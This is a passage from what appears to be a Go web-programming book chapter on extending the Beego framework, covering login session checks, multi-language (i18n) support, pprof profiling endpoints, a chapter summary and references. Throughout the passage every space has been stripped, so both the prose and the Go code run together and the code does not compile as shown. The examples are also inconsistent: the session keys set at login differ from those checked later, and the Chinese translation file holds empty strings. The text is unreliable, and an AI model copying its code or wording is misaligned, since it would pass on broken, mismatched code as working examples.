//Setthesessionsuccessfulloginsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}
}
funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}
funccheckUsername(usernamestring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}
Onceyouhaveimplementeduserloginandregistration,othermodulescanbeaddedtodeterminewhethertheuserhasbeenloggedinornot:
func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")
return}this.Data["Username"]=sess_username}
Links
DirectoryPrevioussection:FormNextsection:Multi-languagesupport
14.5Multi-languagesupportInthechapterwhereweintroducedinternationalizationandlocalization,wedevelopedthego-i18nlibrary.Inthissection,wewillseehowthislibraryisintegratedintotheBeegoframework,andhowitenablesourBeegoapplicationstosupportbothinternationalizationandlocalization.
I18nintegration
Beegofirstsetssomeglobalvariables:
Translationi18n.ILLangstring//setthelanguagepack,zh,enLangPathstring//setthelanguagepacklocation
Amulti-languageinitializationfunctionisdefined:
funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}
Inordertofacilitatemulti-languagecallsinthetemplatepackagedirectly,wedesignedthreefunctionsforhandlingmulti-languageresponses:
beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}
Multi-languagedevelopment
1. Settingthelanguageandlocationofthelanguagepack,theninitializei18nobjects:
beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()
2. Designingamulti-languagepackage
Above,wetalkedabouthowtoinitializeamulti-languagepackage.Now,let'slookathowtodesignone.Multi-languagepackagesaretypicallyJSONfiles,asyou'vealreadyseeninChapter10.WemustprovidetranslationfilesforlanguageswewishtosupportonourLangPath,suchasthefollowing:
#zh.json
{"zh":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
3. Usinglanguagepackages
Wecancallthecontrollertogetthetranslatedresponseinthedesiredlanguage,likeso::
func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}
Wecanalsodirectlyinterpolatetranslatedresponsesinourtemplates:
//DirectTexttranslation{{.create|Trans}}
//Timetotranslate{{.time|TransDate}}
//Currencytranslation{{.money|TransMoney}}
Links
DirectoryPrevioussection:UservalidationNextsection:pprof
14.6pprofAgreatfeatureofGo'sstandardlibraryisitscodeperformancemonitoringtools.Thesepackagesexistintwoplaces:
net/http/pprof
runtime/pprof
Infact,net/http/pprofsimplyexposesruntimeprofilingdatafromtheruntime/pprofpackageonanHTTPport.
pprofsupportinBeego
TheBeegoframeworkcurrentlysupportspprof,howeveritisnotnotturnedonbydefault.Ifyouneedtotesttheperformanceofyourapplication,(forinstancebyviewingtheexecutiongoroutinesuchinformation,infact,Go'sdefaultpackage"net/http/pprof"alreadyhasthisfeature,andifGomannerinaccordancewiththedefaultWeb,youcanusethedefault,butbecausebeegorepackagedServHTTPfunction,soifyoucannotopenthedefaultincludesthisfeature,sotheneedforinternalreformbeegosupportpprof.
Firstinourbeego.Runfunction,wechoosewhetherornottoautomaticallyloadtheperformancepackaccordingtoourconfigurationvariable(inthiscase,PprofOn):
ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}
DesigningProfController
packagebeego
import("net/http/pprof")
typeProfControllerstruct{Controller}
func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Request)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}
Gettingstarted
Fromtheabove,wecanseethatenablingpprofisassimpleassettingthePprofOnconfigurationvariabletotrue:
beego.PprofOn=true
YoucanthenopenthefollowingURLinyourbrowsertoseethefollowinginterface:
Figure14.7currentsystemgoroutine,heap,threadinformation
Byclickingonagoroutine,wecanseealotofdetailedinformation:
Figure14.8showsthecurrentgoroutinedetails
Ofcourse,wecanalsogetmoredetailsfromthecommandline:
gotoolpprofhttp://localhost:8080/debug/pprof/profile
Thistime,theprogramwillbeginprofilingtheapplicationforaperiodof30seconds,duringwhichtimeitwillrepeatedlyrefreshthepageinthebrowserinanattempttogatherCPUusageandperformancedata.
(pprof)top10
Total:3samples
133.3%33.3%133.3%MHeap_AllocLocked
133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors
133.3%100.0%133.3%runtime.sigprocmask
00.0%100.0%133.3%MCentral_Grow
00.0%100.0%266.7%main.Compile
00.0%100.0%266.7%main.compile
00.0%100.0%266.7%main.run
00.0%100.0%133.3%makeslice1
00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP
00.0%100.0%266.7%net/http.(*conn).serve
(pprof)web
Previoussection:Multi-languagesupportNextsection:Summary
14.7SummaryThischapterillustratessomewaysinwhichtheBeegoframeworkcanbeextended.Wefirstlookedatstaticfilesupport,learninghowBeegohandlesservingstaticfilesinternally.Wesawhowthisfunctionalityallowedustoeasilyintegratestaticassets(suchasBootstrap'sCSSfiles)forrapidandgreatlookingwebsitedevelopment.Next,wesawhowtointegratesessionManagertopainlesslyfacilitateusersessionsinBeego.Wethendescribedformmanagementandvalidation,leveragingGo'sstructstoreducecoderepetitionandforsimplifyingfieldvalidation.Afterthat,wediscusseduserauthenticationwhichinvolvedthreemainstrategies:HTTPauthentication(basicanddigest),thirdpartyauthentication,andcustomauthentication.Welearnedaboutsomeexistingthirdpartyauthenticationpackagesthathavealreadyimplementedthesestrategies,whichareconvenientlyaccommodatedbyBeego.Thenextsectionre-introducedlanguagesupportinBeego;wesawhowtointegratethego-i18npackageandlearnedhowtoeasilyloadmultiplelanguagepacksintoourapplicationsasneeded.Lastly,wediscussedhowtoworkwithGo'spprofpackagesinBeego.ThepprofpackageisusedforperformanceprofilinginGo,andBeegorepackagesitsoitcanservethesamepurposeinBeegoapplicationswithoutmuchadditionalwork.Throughthesesixsections,we'veextendedBeegowithmanyfeatures,makingitintoaversatileframeworksuitablefortherequirementsofmanywebapplications.Usershavethefreedomofextendingtheframeworktosuittheirindividualneeds;thisbriefintroductiontoBeegosimplyoffersasmalltasteofwhatcanbedone!
Links
DirectoryPrevioussection:pprofNextchapter:AppendixAReferences
AppendixAReferencesThisbookisasummaryofmyGoexperience,somecontentarefromothergophers'eitherblogorsites.Thanksthem!
1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. GoProgrammingLanguage7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ